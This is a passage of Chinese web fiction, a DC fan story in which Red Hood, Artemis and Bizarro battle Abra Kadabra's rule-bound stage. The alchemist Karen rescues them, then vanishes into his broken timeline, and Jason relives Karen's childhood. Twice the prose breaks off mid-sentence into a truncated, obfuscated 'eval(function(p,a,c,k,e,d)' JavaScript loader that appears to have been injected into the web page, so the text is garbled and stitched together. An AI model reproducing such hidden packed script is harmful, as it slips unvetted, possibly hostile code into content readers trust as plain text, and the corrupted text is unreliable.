他把手翻过来,用袖子盖住。 规则不会因为你反抗就放过你。 它只会换一种方式惩罚你。 阿布拉似乎没有注意到观众席上的这个小插曲。 或者说,他不在意。 他在舞台边缘来回踱步,手里多了一根手杖——紫色的,顶端镶着一颗黑色的宝石。他用手杖敲了敲舞台的地面,发出“咚”的一声。 “下一个节目!”他高声宣布,“更精彩!更有趣!阿布拉·卡达布拉的——” 话没说完。 一支箭从暗处飞来。 黑色的箭头在紫色的舞台灯光下反射出冷冽的金属光泽。箭杆在空中旋转,带着尖锐的破风声,精准地钉在舞台中央的木板缝里。 尾羽颤动,发出“嗡嗡”的声响,像某种警告。 阿布拉低头看了一眼那支箭。箭头没入木板三分,尾羽还在颤。他顺着箭飞来的方向抬起头。 广场边缘,一栋两层小楼的屋顶上,站着一个女人。 红色的长发在风中散开,像一面燃烧的旗帜。黑色的战术背心上有几道裂口,露出手臂上干涸的血迹——有些是她的,有些不是。她左手握着一张黑色的弓,银白色的弓弦在月光下泛着冷光。 右手从背后的箭筒里抽出第二支箭。 她的动作不快,但每一个分解动作都带着一种经过千锤百炼的精准。搭箭,拉弦,瞄准。弓弦拉到耳际,她的眼睛眯起来,瞳孔收缩成针尖。 箭尖对准阿布拉的眉心。 阿尔忒弥斯。 她站在屋顶的最高处,像一个古代的弓箭手站在城墙上,俯视着下面的敌人。她的动作标准且富有力量感,但杰森看出来她八成是受伤了。 “你就是那个从中心城跑出来的小丑?” 她的声音不大,但整个广场都听得见,略显独特的发音带着亚马逊战士特有的傲慢。 “闪电侠不要你了,所以来欺负小镇居民?” 阿布拉的笑容抽搐了一下。“小丑”这个词显然戳到了他的某个痛处。但他很快恢复了夸张的表情,把手杖在手里转了一圈。 “亲爱的女士,我不是‘小丑’。我是阿布拉·卡达布拉——伟大的魔术师,时间的主宰者,舞台上的——” “没兴趣。” 阿尔忒弥斯松开手指。 第二支箭离弦。 这一次杰森看清了。箭离开弓弦的瞬间,空气在箭头前方炸开一圈细小的波纹——不是魔法,是纯粹的动能。箭的速度太快,快到杰森的眼睛几乎跟不上。 阿布拉没有躲。 箭穿过他的身体。 或者说,穿过了他身体所在的位置。 他的身体已经不在那里了。阿布拉出现在舞台的另一侧,手杖拄在地上,笑容不变。箭钉在舞台后方的背景板上,尾羽颤动,钉进去的位置正好是背景板上一幅油画里“阿布拉”那张脸的正中央。 杰森嘴角抽了一下。 故意的。阿尔忒弥斯绝对是故意的。 “暴力解决不了问题,亲爱的女士。”阿布拉说,语气里多了一丝不耐烦,“尤其是在我的舞台上。规则就是规则——表演期间,观众不得离开座位,不得——” “我不是观众。” 阿尔忒弥斯从屋顶跳下来。 她的落地姿势不对。左腿先着地,膝盖弯得太深,以她的身手,身体前倾的角度比正常落地大了许多。她在空中调整了重心,用右腿分担了大部分冲击力。 杰森心下默默估计着:左腿受伤了,可能是肌肉拉伤,也可能是韧带,好在应该没有伤到骨头。 她直起身,弓端在身前,箭尖指着地面。 “我是来砸场子的。” ——— 2 阿布拉的笑容终于消失了。 “砸场子?”他重复了一遍这个词,像在品味一个陌生的味道。 “你知道这个舞台是谁建造的吗?你知道这里的规则是谁制定的吗?你——一个亚马逊战士,哈,老古董——你觉得你能‘砸’我的场子?” 阿尔忒弥斯没有回答。 她开始往前走,每一步都踩在石板铺的广场上,发出沉稳的脚步声。她的左腿在每一次迈步中都会有一个微小的迟滞,但稳稳的前进着。 杰森在观众席上握紧了拳头。 “阿尔忒弥斯!”他喊了一声。 她没有看他,眼睛一直盯着阿布拉。 “阿尔忒弥斯,别——”杰森想说“别冲动”,但他把话咽回去了。 阿尔忒弥斯就是阿尔忒弥斯。她就是那种人。你告诉她“别冲动”,她会当着你的面冲得更快。 好无力,这就是迪克平时看着他的心情吗? 搓磨别人的人终会被别人搓磨,比格大王终究遇到了他的比格。 阿尔忒弥斯走到观众席的边缘。 然后她被弹了回来。 观众席和舞台之间有一道看不见的墙,把“台上”和“台下”分成了两个世界。这道墙是逻辑上的。阿布拉制定了“观众不得上台”的规则,规则在阿尔忒弥斯试图跨越边界的时候,把她弹了回去。 阿尔忒弥斯被狠狠地弹到了一根灯柱上,灯柱受损严重。 好在她不是直接冲过去的,否则可能被回弹得更狠。 杰森站起来。椅子在他身后翻倒,灰色纹路从手指蔓延到手腕。 “坐下!”阿尔忒弥斯撑着膝盖站起来,嘴角溢出一丝血。她把弓重新端起来。“你坐在那里别动,规则的限制太大了,我来解决这个。” “你一个人解决不了!”杰森压低声音吼,“你看看你自己,你连站都快站不稳了!” 阿尔忒弥斯没理他。 她从箭筒里抽出第三支箭。箭筒里只剩三支了。她搭箭,拉弦,瞄准。动作还是那么稳,仿佛身上的伤不存在。 阿布拉站在舞台上,歪着头看着她。 “有意思。”他说,“你比那些木偶有趣多了。红头罩先生,这位是您的朋友?” 杰森没回答。 “不说话也没关系。”阿布拉把手杖在手里转了一圈,“我很快就会知道的。等她成为我的演员之后,她脑子里的一切都会成为我的——包括关于你的那些记忆。” 阿尔忒弥斯松开手指。 第三支箭不是瞄准阿布拉的。它飞向舞台上方悬挂的灯架——一个巨大的、由十几盏聚光灯组成的金属结构,重量至少有半吨。 箭击中灯架左侧的链条。 链条断裂,灯架倾斜。 第二支箭——不知道什么时候搭上弦的——击中右侧的链条。 两条链条都断了。灯架坠落。 阿布拉抬头看了一眼,叹了口气,打了个响指。 灯架在半空中停住了。 时间停止。 灯架悬在阿布拉头顶两米的地方,一动不动,场景滑稽又诡异,仿佛一个被按下暂停键的视频画面。那些聚光灯还亮着,光束凝固在空气中。 “我说过了,暴力解决不了问题。” 阿布拉再次打了个响指。 灯架从半空中消失。 出现在广场边缘。 砸在阿尔忒弥斯身旁三米的地方。 轰——— 碎石飞溅,尘土扬起。阿尔忒弥斯被气浪掀翻,在地上滚了两圈。弓脱手飞出,砸在墙上,弹了一下,落在瓦砾堆里。 杰森挣扎地站起来。 打破规则的滋味并不好受,他的身上仿佛拴了无数条锁链,把他恶狠狠地钉在椅子上。 灰色纹路从手指蔓延到手腕,从手腕蔓延到小臂。一股剧烈的刺痛从骨头里钻出来,痛的像有人在他的骨髓里倒了一整瓶辣椒水。皮肤上出现了一道道细小的裂纹,却没有血液流出。 他没有坐下。 “比扎罗!”他吼了一声。 比扎罗抬起头。他的眼睛里那层雾还没散,但杰森的声音像一根针,刺穿了那层雾。 “打架。”杰森说。 比扎罗歪了歪头。 他站起来。 椅子摔在地上,金属椅腿弯了。规则的力量压在他身上,但他的体重和力量抵消了大部分。他像一头从笼子里走出来的熊,每走一步,地面就裂开一道缝。 阿布拉的眼神终于变了,没有想到一开始忽略的人里面又出了这么一个变数。 “哦。”他说,“哦。” ——— 3 比扎罗冲向舞台。 那道看不见的墙还在。他撞上去,如同一辆卡车撞上一堵砖墙。墙没塌,但整个广场都在震动。观众席上的木偶们被震得东倒西歪,脸上还挂着那个不变的微笑。 阿布拉后退了一步。 “有意思。”他说,“非常有意思。” 他举起手杖,黑色的宝石亮了起来。紫色的光芒从宝石中涌出,像一条蛇,缠上比扎罗的身体。比起攻击,更像是入侵,光芒在寻找比扎罗的意识,试图钻进他的脑子,取代他的自我。 比扎罗的身体僵住了。 他的肌肉还在用力,但动作变得迟缓,像被注入了某种镇静剂。他的眼睛开始变得空洞,瞳孔放大,嘴巴微张。和那些木偶一模一样。 该死的氪星产品的魔抗! 质量差评!听到了吗?质量差评! “比扎罗!”杰森喊。 没有反应。 阿布拉笑了。 “你以为我只会操控普通人?不,不,不——我的傀儡术对任何人都有效。超人也好,蝙蝠侠也好,你这位绿色的朋友也好,都只是提线木偶的——” 一道人影从舞台侧面的阴影里冲出来。 阿尔忒弥斯。 她不知道什么时候绕到了舞台侧面——也许是趁着阿布拉注意力在比扎罗身上的时候强硬突破,也许是那道“观众不得上台”的规则有缺口。她从阴影里冲出来,没有弓,没有箭,用的是她自己的身体。 她撞上阿布拉的腰。 阿布拉被撞飞出去,手杖脱手,在空中转了几圈,落在舞台边缘,弹了一下,掉进舞台后方的黑暗里。阿尔忒弥斯和阿布拉一起滚进了那片黑暗。 紫色的光芒消失了。 比扎罗慢吞吞的晃了晃脑袋,他的眼睛重新聚焦,看到面前是空荡荡的舞台,阿布拉不见了,阿尔忒弥斯不见了。 “……杰森?”他的声音含混不清,“比扎罗……刚才……睡着了?” “不是睡着。”杰森说。他盯着舞台后方的黑暗,灰色纹路已经蔓延到了手肘。“是被控制。阿尔忒弥斯救了你。” “阿尔忒弥斯?”比扎罗转头,没看到她。“阿尔忒弥斯在哪?” 杰森没有回答。 他盯着那片黑暗。 ——— 4 与此同时,哥谭。 卡伦站在诊所的窗台前,手里的茶杯已经凉了。 他今天没什么事。上午来了两个病人,一个感冒,一个高血压。下午一个都没有。他整理了一下药材,擦了擦诊台,就开始愉快地摸鱼。 忽然,吊坠开始发热。 卡伦低头,握住自己脖子上的吊坠——蓝绿色的宝石,温热的,如同从夏日的阳光下刚捡起来的石头。 但这不是阳光的温度,这是共鸣。 吊坠链子上的金属,和他心脏同源的那块金属在震动,而他的心脏也进入到了类似于“共振”的状态。这让他对绑在杰森脖子上的那枚吊坠的感知更敏锐也更清晰。 杰森目前不至于到有生命危险而强制召唤他的地步,但潜意识中又好像在“呼唤”他。 卡伦闭上眼睛。 他能感觉到杰森的存在此时像一张被揉皱的纸,边缘在模糊,颜色在褪去。 不是受伤,是时间线在被抽取。 卡伦的眼皮跳了一下。 真是熟悉的感觉,要不是经历过,他现在可能还反应不过来。 被长剑从背后刺穿心脏的时候,他的“存在”也有过类似的颤抖。不是身体的痛,是更本质的东西在断裂,是“卡伦·格里索温”这个名字在被从世界上抹去的感觉。 杰森正在经历类似的东西。 不过二者并不一样,他对于那个世界是闯入者,所以在他死亡的时候,他的存在被修正了,虽然最后好像没成功。而杰森却是不知道碰到了什么鬼东西,在硬生生地被抹除。 卡伦睁开眼睛,心下默念,吊坠里的金属能量开始流动。 银白色的光芒从宝石中涌出,沿着他的手指蔓延到手臂,到肩膀,到全身。用金属的能量,用心脏储存的力量填补缺口,换取空间的跨越。 突破敌人的封锁,突破时间与空间的界限。 卡伦消失在诊所里。 ——— 5 他在黑暗中落地。 准确地说,他在“舞台后方”的黑暗中落地。不是物理意义上的“后方”——是阿布拉用未来科技和魔法编织出来的一个空间,夹在现实和时间之间的某个缝隙里。 远处能看见舞台上散发的紫色光芒。 卡伦蹲下来,手掌按在冰冷的地面上,感知力从指尖蔓延出去。 他感应阿布拉制定的规则,密密麻麻地编织在这个空间的每一个角落。“观众不得离开座位。”“必须为精彩表演鼓掌。”“不得打断表演者的发言。”——每一条规则都是一根线,交织成一张网,覆盖了整个小镇。 但网在他身上漏过去了。 因为他的时间线是断的。 没想到吧,科技佬,他有虚化! 卡伦站起来,拍了拍手上的灰,头一次觉得死过一次也不全是坏事。 在他被自己的副手从背后用长剑刺穿了心脏死掉后,跨越了不知道多少条时间线,从他真正的身体中苏醒。 虽然换了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你放了我的两个朋友,我配合你。你不就是想表演吗?红头罩当你的主角,一个死而复生又被操纵的主角,故事感不是比一个亚马逊战士和一个绿色大块头强多了吗?” 沉默。 比扎罗转头看着他。“杰森。不要。” 杰森没理他。 阿布拉从舞台后方的黑暗里走了出来。 他的燕尾服皱了一点,礼帽歪了,但笑容还在。他的手臂上有一道新的伤口——阿尔忒弥斯干的,血从紫色的袖子上渗出来,颜色很深。伤口不深,但位置很刁钻,在手臂内侧靠近腋窝的地方,是弓箭手喜欢瞄准的位置。 他站在舞台边缘,居高临下地看着杰森。 “您知道吗,红头罩先生,”他说,“您在中心城待过吗?” “没有。” “那里的英雄太无趣了。闪电侠,速度很快,但脑子转得不快。我每次表演,他都是同一个反应——跑过来,打一架,把我关起来。周而复始,毫无新意。” 他停顿了一下,歪着头看着杰森。 “但您不一样。您会说‘交易’。您会讨价还价。您会为了保护朋友把自己当筹码。”他的笑容变得更大了。“这太有趣了。我从来没有遇到过这样的——‘演员’。” 杰森盯着他。 “所以,成交吗?” 阿布拉沉默了几秒。然后他举起手杖——不知道什么时候捡回来的——用黑色的宝石对准杰森。 “成交。” 紫色光芒亮起。 杰森感觉到自己的时间线在被更用力地拉扯。不是刚才那种“一点一点抽离”的节奏——是整条线被攥住,用力往外拽。像有一只手伸进了他的身体,握住了他的“存在”,然后往外拔。 他咬紧牙关,没有出声。 手指上的灰色纹路已经蔓延到了心脏的位置。 就在这时—— 阿布拉身后的黑暗亮了起来。 银白色的光从黑暗中涌出,丝丝缕缕蛛丝般的银线猛地钻出来,像利刃切开黑布。光芒中走出一个人,还穿着在诊所时的白大褂,左眼下金色的倒三角纹路亮的刺眼。 然后亮起的是那双金色的,冰冷又机械的眼睛。 那双眼睛在黑暗中亮起来的瞬间,阿布拉感觉到了一股原始的恐惧,那双眼睛里没有疑惑,没有犹豫,甚至没有“思考”的痕迹。只有一种纯粹的、机械性的锁定。 你将付出代价。 阿布拉转过身,还没来得及举起手杖,卡伦猛地逼近,一只脚狠狠地踹上了他的后背。 阿布拉被踹飞出去,后背的燕尾服上留下一个发光的脚印。他撞上舞台的背景板——木板碎裂,油漆剥落,阿布拉整个人嵌进了碎木板里。手杖脱手,在空中转了几圈,落在地上,滚进了观众席的椅子底下。 卡伦站在阿布拉刚才站的位置。 他施施然把腿收回来,拍了拍裤子上的灰。白大褂上沾了一点灰尘,他弹了两下,没弹掉,放弃了。 不错,记杰森的账上。 虽然他也没有想让杰森还过,但看着杰森在他这里的账本慢慢变厚还怪有成就感的。 这都是他辛辛苦苦养小浣熊的记录啊。 卡伦抬起头,看向观众席。 很好,他找到杰森了。 杰森坐在观众席上,半张脸被灰色的纹路覆盖,手指还捏着脖子上的吊坠。 他看着卡伦。 卡伦看着他。 “……你怎么来了?”杰森说。 杰森有点儿摸不准自己现在复杂的心情都是些什么。 卡伦歪了歪头。 他的表情没什么变化。带着一点懒散,一点漫不经心,和一点“放心吧,有我包没事”的笃定。 但他的眼睛出卖了他。 那双金色的眼睛在看见杰森的时候,终于褪去了那股浓郁的机械感,如同金属造物被注入了灵魂。 “你的吊坠在叫。”卡伦说。 杰森低头看了一眼自己手里的吊坠。 金属圆片在发光,银白色的,和卡伦身上的一模一样。 不,不如说,二者在共鸣。 杰森感受着自己手中项链那格外熟悉的跳动感,若有所思。 “我没叫你。”杰森干巴巴地说。 卡伦歪了歪头,露出一个愉悦的笑。 “你喊了。”他拖长语调,若有所指地说,“只是你自己没听见。” 比扎罗从墙边走过来,站在卡伦旁边。他低头看着卡伦,歪着头,像一只大狗在辨认主人。 “医生。”他说。 “比扎罗。”卡伦点头。 比扎罗伸出一根手指,戳了戳卡伦的肩膀。“医生。来了。打架。” “嗯。” “医生。打架。比扎罗帮忙。” “好。” 比扎罗满意了。他站在卡伦旁边,高大的身躯仿佛一堵肉墙,拳头握紧,准备打架。 卡伦转过身,看向舞台背景板的方向。 阿布拉从碎木板里爬出来。他的礼帽没了,燕尾服撕了一个大口子,后背的紫色布料上印着一个黑漆漆的的脚印,让他显得有点搞笑。 不错,现在他可以出演荒诞喜剧片的男主角了。 他看着卡伦,脸上的表情从愤怒变成了困惑。 “你是谁?” 卡伦没有回答。他从口袋里掏出那个小布袋,倒出炼金石,随手一甩,在脚边布了一个阵。银白色的光芒在舞台上蔓延,像水一样铺开。 阿布拉后退了一步。 “你怎么进来的?”他的声音拔高了,“这里的规则对你——” “无效。” 卡伦替他说完了。 他抬起头,金色的眼睛在银白色的光芒中亮得刺眼。 “你的规则,”他说,“对我的时间线没用。” 阿布拉的瞳孔收缩了一下。 卡伦往前逼近一步。 “所以,”他说,“你可以省省力气了。” 银白色的光芒在舞台上炸开。 阿布拉举起双手,紫色的光芒从掌心涌出,试图抵抗。 不过没用,银白色的光势不可挡。 41. 第四十一章 1 阿布拉倒在舞台的碎木板里,紫色的燕尾服上沾满了灰尘和血迹。 他的眼睛还睁着,盯着头顶那片被紫色光芒污染过的夜空。礼帽滚到了观众席的椅子底下,头发散落在额前,遮住了半张脸。嘴唇在动,但没有声音。 卡伦站在舞台中央,俯视着他。光从他的头顶打下来,卡伦低垂着眸子,睫毛的阴影让人看不清他的神情。 银白色的炼金术光芒从他脚底的阵法中蔓延出去,像水一样铺满了整个广场。那些紫色的、属于阿布拉的规则之光在银白色的压制下一点一点地消退。 观众席上的傀儡们开始发抖,脸上那个不变的微笑开始松动,有人发出了含混的呻吟。 卡伦的左手按在阵法的中心,右手垂在身侧。他的嘴唇抿成一条线,金色的眼睛盯着阿布拉。左眼眶下,同色的炼金术纹路在光芒中一明一灭。 卡伦的右手在微微发抖,打破阿布拉的布置不难,难的是把这么多人质一起带出去。他在同时做三件事:压制阿布拉的规则,稳定整个小镇的时间线,防止傀儡们因为规则崩溃而受到二次伤害。 蓝条,我需要蓝条(颤抖的双手.jpg) 杰森站在观众席边缘,看着卡伦的背影。灰色的纹路还爬在他半张脸上,从手指到手腕,肩膀到脖子。拉扯着他的力量已经几乎感受不到了。 他的嘴唇张合了几次,很多话被组织来组织去,但最后还是咽下了。 这时,倒在地上的阿布拉的眼睛突然睁大。 他的嘴唇咧开,露出一个笑容,这个鲜红的笑竟然带上了点毛骨悚然的真心。 “我打不过你。”阿布拉说,声音很轻,但在安静的广场上,每个人都听见了。 卡伦没有回答。 “但主角不能空手退场。” 紫色的光芒从阿布拉的身体里涌出来,身体表面被撑出一道道缝隙,他的眼睛变成了紫色,瞳孔消失了,眼眶里只剩下两团光。 卡伦感觉到了。 那条被长剑从背后刺穿时留下的、用炼金术勉强缝合的裂缝——阿布拉找到了它。他把自己的时间线当作一把钥匙,插了进去。 银白色的光芒开始颤动。 杰森反应很快,在阿布拉话语落下的那一刻就向卡伦冲去。灰色纹路在他的皮肤上炸开,刺痛从骨头里钻出来,他冲到卡伦身边,伸手去抓他的肩膀。 可惜阿布拉的动作太快,想阻止他无益于阻止一枚出膛的子弹。 杰森终究迟了一瞬,手指穿过了卡伦的肩膀。 卡伦的肩膀还在那里,去仿佛只是一帧来自过去的影像,杰森的手指从它里面穿了过去。 “What can I do? Tell me how to help you!” (“告诉我,我该怎么做!” ) 卡伦的眼睛看向他,露出了一个安抚性质的笑容。 “杰森——” 然后他消失了。 卡伦站着的地方变成了一片虚空,透明的,像一块玻璃碎了之后留下的空洞。空洞里,银白色的光和紫色的光纠缠在一起。 杰森站在那个空洞前面,伸出的手臂还悬在半空。 “卡伦!” 没有回答。 比扎罗冲到空洞前面,伸手去抓。他的手指也穿过去了。他低头看着自己的手,又抬头看着空洞。 “杰森。卡伦。不见了。” 阿尔忒弥斯蹲下来,用断了半根弦的弓戳了戳空洞的边缘。弓弦没有碰到任何东西。 “这不是传送。”她说,“他没有去任何地方。” “那他在哪?”杰森问。 “他在他自己的时间里。” 杰森转身走向阿布拉,蹲下来,一把揪住他的衣领。 “你做了什么?” 阿布拉好像一点也不在意他现在的处境,笑嘻嘻地说:“他的时间线是碎的。我一直以为碎的意思是抓不住,但碎的意思也可以是掉进去。” “把他弄回来。” “弄不回来。他自己也回不来。他的时间线碎片太多了。他会一直掉下去。ever.” 杰森的拳头砸在阿布拉的脸上。一声闷响。阿布拉的头歪向一边,血从鼻子里流出来,即便如此,他的笑容也没有消失。 杰森的第二拳没有落下去。 因为他的胸口突然一热。 银白色的光从金属圆片的边缘渗出来,沿着他的锁骨蔓延到脖子,到下巴,到脸颊。 这些光芒仿佛化作了无数双温柔的手掌,抚摸着,修复着他出现灰纹的皮肤,但同时也不容拒绝地把他拉向某个方向。 卡伦从来告诉过杰森那枚吊坠意味着什么。和心脏同源的一种材质,几乎相当于卡伦把心脏的一块碎片挂在了杰森的脖子上。只要那块碎片还在,卡伦就能找到杰森。无论隔着多远,无论隔着几个世界,无论时间线是连续的还是碎裂的。 特殊的从来不是这枚项链上刻着的炼金法阵,法阵会被遮蔽会因为距离和不同世界的空间屏蔽失效,但这块特殊的珍贵的金属材料,在经过他的练制后,和他的心脏仿佛是掰成两半的苹果。 无论相隔多远,都是彼此的半身。 反过来也一样。 卡伦掉进了那些碎裂的、混乱的记忆碎片里,杰森脖子上的金属碎片成了那个混沌中唯一稳定的锚点。 两块同源的金属,在卡伦的时间线碎裂的瞬间,产生了超越空间和时间的共振。 杰森的意识被拽着,顺着那条共振的通道,滑进了卡伦的过去。 “杰森?”阿尔忒弥斯的声音从远处传来。 ——— 2 杰森想回答,但他的身体又不听使唤了。 他的眼前出现了另一个世界的画面。 那是一个灰扑扑的小镇,潮湿蜿蜒的石板路,低矮的房子,远处有一座黑色的塔。天空中没有太阳,但有一种均匀的、说不出来源的光。潮湿的风声中夹杂着海浪的低鸣,让裸露的皮肤感受到一丝凉意。 小镇的角落里,蹲着一个孩子。 大概十一二岁,穿着一件大了几号的灰褐色上衣,袖口卷了好几层,露出一截枯树枝似的手臂。头发很长,乱糟糟的,垂下来遮住了半张脸。脸上抹着灰泥,从额头到下巴,厚厚的一层。 孩子蹲在面包店的后门,双手抱着膝盖,盯着门缝。 面包店的后门开了一条缝。一只手伸出来,扔了一个纸包在地上。 孩子从桶旁边窜出去,动作快得不像是那个瘦弱的身体能做出来的。一只手抓起纸包,另一只手已经撕开了包装——里面是一块干硬的面包边角。孩子咬了一口,然后把纸包叠好,塞进衣服里面。 他转身。 杰森看到了他的眼睛。 是一抹熟悉的金色。 是小时候的卡伦。 在冷灰色的光里,那双眼睛亮得不像真的。 艰难的生活让他的外表并不夺目,但他的伸手仍然轻盈而矫健,最可贵的是,他并没有因为艰难而麻木,困苦反而打磨了他,让他的目光更加锐利。 那双眼睛扫过杰森站的位置,没有停留。 小卡伦从他身边走过去,最近的时候不到三步。他没看杰森不是故意忽略,是真的没有看到。 杰森伸手。果不其然,手指又穿过了卡伦的肩膀。 小卡伦打了个哆嗦,他停下来,转头看了一眼身后。巷子里什么都没有。他皱了皱眉,把衣服裹紧了一点,快步走了。 小卡伦:不好,有脏东西。 杰森站在原地,看着那个瘦小的背影快速消失在巷子尽头,挑了挑眉。 Fine,剧情现在不容他打断,看来只能跟着我们的小主角才能知道自己需要干些什么了。 也许他现在可以cos一个金手指老爷爷的角色? 他跟着那个孩子穿过了三条街。 小卡伦:坏了,真的是脏东西。 小卡伦一路疾行,贴着墙边的阴影,十分不引人注意。镇上的居民许多都有些非人的特征,而像是正常人的居民穿着都非富及贵。 在一群异类里,卡伦像野生动物在森林里走路,把自己隐藏起来,每一步都落在枯叶最少的地方。 一个成年男人从巷子另一头走过来。高个子,宽肩膀,穿着一件深色的长袍,袍子的边缘绣着银色的符文,靴子踩在石板上发出沉重的声响。 孩子往墙边靠了靠,低下头,把脸埋进衣领里。 男人从他身边走过去,没有停。 杰森看到了小卡伦的手。在男人经过的那几秒里,孩子的手攥紧了衣角,指节发白,甚至屏住了呼吸。 男人走远了。孩子呼出一口气,肩膀塌下来,继续往前走。 小卡伦在一个拐角处停下来。他蹲下来,从地上捡起一块碎瓦片,在墙上画了一个符号——三条线交错,中间有一个点。画完就用手抹掉了。痕迹还在,但只有知道它在那里的人才能找到。 杰森跟着他走了大概二十分钟,最后在一栋废弃的建筑前面停下来。屋顶塌了一半,墙面上爬满了黑色的藤蔓,门是一块钉了几条木板的旧门板,但木板之间有缝隙,刚好够一个瘦小的身体挤进去。 孩子从缝隙里钻了进去,杰森跟着穿过了那扇门。 里面是一个很小的房间。角落里堆着一团破布和干草,那是他的床。墙上用炭笔写着几行字符——杰森看不懂,但他猜是笔记,也许是什么偷学来的魔法知识。 孩子从衣服里拿出那个纸包,把面包边角放在干草堆旁边。他没有再吃。他在床沿上坐下来,把裤腿卷起来,露出小腿。 小腿上有一道淤青,新的,颜色很深,从膝盖下方一直延伸到脚踝。还有几道旧的,黄绿色的,像褪色的地图。 孩子从干草堆下面摸出一个很小的布袋,这让杰森想起了他长大后的样子,长大后的卡伦也会随身带着这样一个小布袋,袋子里会装一些小巧又精致的炼金物品,虽然他们总会被自己的主人不在意地随手丢去布阵。 而小卡伦的布袋里只有几块碎石头,是那种在光线下会微微发亮的矿石。他挑了一块最小的,握在手心里,闭上眼睛。 嘴唇在动。没有声音,但杰森能看出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他在哥谭认识的卡伦,是一个会靠在诊台上看着他翻抽屉、会泡一杯凉掉的茶放在候诊区、会在战斗中挡在他前面然后用平淡的语气让他永远不必担心的人。那个卡伦很强,却又有着温暖的一面。 已经长成了一个无所不能的大人,看着年纪不大,却像一汪平静的潭水,再大的风雨也难以惊扰到深处。 而这个孩子不一样。这个孩子是尖锐的、警惕的、像一只随时准备逃跑的小动物,只要你注意到他,就能发现他身上活跃的,坚韧的,源源不断的生命力。 在见到这个孩子之前,杰森一直以为卡伦的平静来源于实力或者炼金术的修行。 现在他知道了,这都是这个该死的,魔法世界的锅。 本来小孩子一个人在这个世道上活着就已经很困难了,竟然还有真·种族歧视。傻子都能看出来,这个世界的其他种族绝对对人类不友好。 杰森叹了口气,也在墙边坐下来,把后背靠在冰凉的石头墙上。他没有别的地方去。吊坠没有给他回去的路,只是隐隐告诉他有回去的办法,他只能在这里等。 他看着小卡伦,那个孩子睡着的样子和醒着的时候不一样,露出了底下更软和的、更脆弱的东西。他的嘴唇在睡梦中微微张开,发出很轻的、含混的音节。 听不出具体含义,是那种在梦里才会露出来的、清醒时绝对不会发出的声音。 杰森把手臂搭在膝盖上,下巴搁在手臂上,注视着那个孩子。 他有预感(其实是吊坠里卡伦之前封存的力量告诉他)他们很快就会再见面。 ——— 3 杰森的身体还僵在舞台上。 他的眼睛睁着,瞳孔没有焦距。呼吸很慢,慢到几乎感觉不到。 比扎罗伸手碰了碰他的肩膀,没有反应。又碰了一下,力气大了点。杰森的身体晃了一下,没有倒。他的膝盖锁死了,重心在脚跟,像被什么东西固定在了原地。 阿尔忒尼斯看到了杰森脖子上的吊坠,金属圆片在发光。 看来就是这玩意儿带着杰森的意识冒险去了。 还挺智能,里面那股储存的能量带着杰森远走高飞的时候还记得通知了她一声没什么事。 她不知道那枚吊坠和卡伦的心脏是同一种金属。但她能隐约猜到这恐怕是个绳索一类的东西,把杰森和卡伦联系在一起。 没办法了,先带着他的身体回基地吧,实在不行就联系蝙蝠侠。 她站起来,把断了半根弦的弓扛在肩上,瞟了一眼倒在脚边的阿布拉。他的眼睛已经闭上了,呼吸很浅。他用自己全部的能量打通了卡伦的时间裂缝。他现在只是一个普通人,甚至比普通人更糟。 阿尔忒弥斯蹲下来,把阿布拉翻过来,用断了的弓弦绑住了他的手腕。 然后她站起来,看着广场上的小镇居民。那些被变成傀儡的人正在慢慢恢复意识,有人坐在地上捂着头,有人在哭,有人茫然地看着四周。 阿尔忒弥斯啧了一声。 真是的,那两个人一个逃一个追玩深情虐恋(卡伦、杰森:???)给她留下这么大一个烂摊子。 结婚的时候她要做主桌。 42. 第四十二章 1 小卡伦醒来的时候,天还没亮。 杰森感觉到那个蜷缩在破布堆里的孩子呼吸的节奏变了,从深睡的慢变成将醒的浅,然后突然停了一拍。 曾经在睡梦中被别人绑走吗?醒来的瞬间先屏住呼吸,听周围的声音,确认安全,再开始呼吸。 小卡伦睁开眼睛。 他躺着没动,眼睛扫过房间的每一个角落——门缝、墙上的裂缝、窗户的方向——最后落在杰森坐着的那个墙角。 看穿了。 杰森没有动。他知道小卡伦看不见他,至少现在还看不见。 小卡伦从干草堆里坐起来,把盖在身上的破布叠好,压在草堆最下面。动作很轻,几乎没有声音。然后他从衣服里摸出那个纸包,掰了一小块面包边角塞进嘴里,嚼了很久,咽下去。剩下的重新包好,塞回衣服里。 他站起来,拍了拍裤腿上的灰,走到门板前从缝隙里往外看了一眼。巷子里是黑的,远处的塔尖上有一点橘红色的光,像一只半闭的眼睛。 小卡伦深吸一口气,一瞬间露出了点不清不愿的表情,但还是挤出门缝。 杰森跟了上去。 ——— 2 清晨的小镇和夜里差别很大。 石板路上蒙了一层薄雾,贴着地面流淌。远处传来金属碰撞的声音,叮叮当当的,是铁匠铺开工了。空气里有股焦煤的味道,混着海腥味。 小卡伦贴着墙根走。杰森注意到他走的路和昨天不一样,看来这次并不是去面包房。 所以他就不吃早饭了吗?亏不得长大了没他高。 (卡伦:你那个体型就不用对比了吧。。我一米八也算不上矮的好吗?!) 走了大概十分钟,他在一栋石房子前面停下来。 这栋房子比镇上的其他建筑都要大,门口立着两根石柱,柱子上刻着符文。门是铁铸的,上面有一个狮头形状的门环。房子没有窗户,只有几道细长的通风口,在墙面上排成一排,像眯起来的眼睛。 小卡伦没有靠近正门。他绕到房子侧面,在一道通风口下面蹲下来。通风口离地面大概一人高,他够不着。他看了看周围,从墙角搬了几块碎石头垒在一起,踩上去,踮起脚尖,眼睛刚好够到通风口的边缘。 他把耳朵贴上去。 杰森明白了。这里是学堂。卡伦说过他的魔法最开始是偷学来的,直到后面有了点基础之后才遇到师傅。 通风口里传出来一个声音,低沉的,带着金属质感的共鸣。杰森听不懂——不是英语,也不是他听过的任何一种语言。 奇怪的是,镇子上居民平时的用语和他们那里差不多,无非是口音的差别。只是在涉及到魔法的事情上会用这种听不懂的语言。 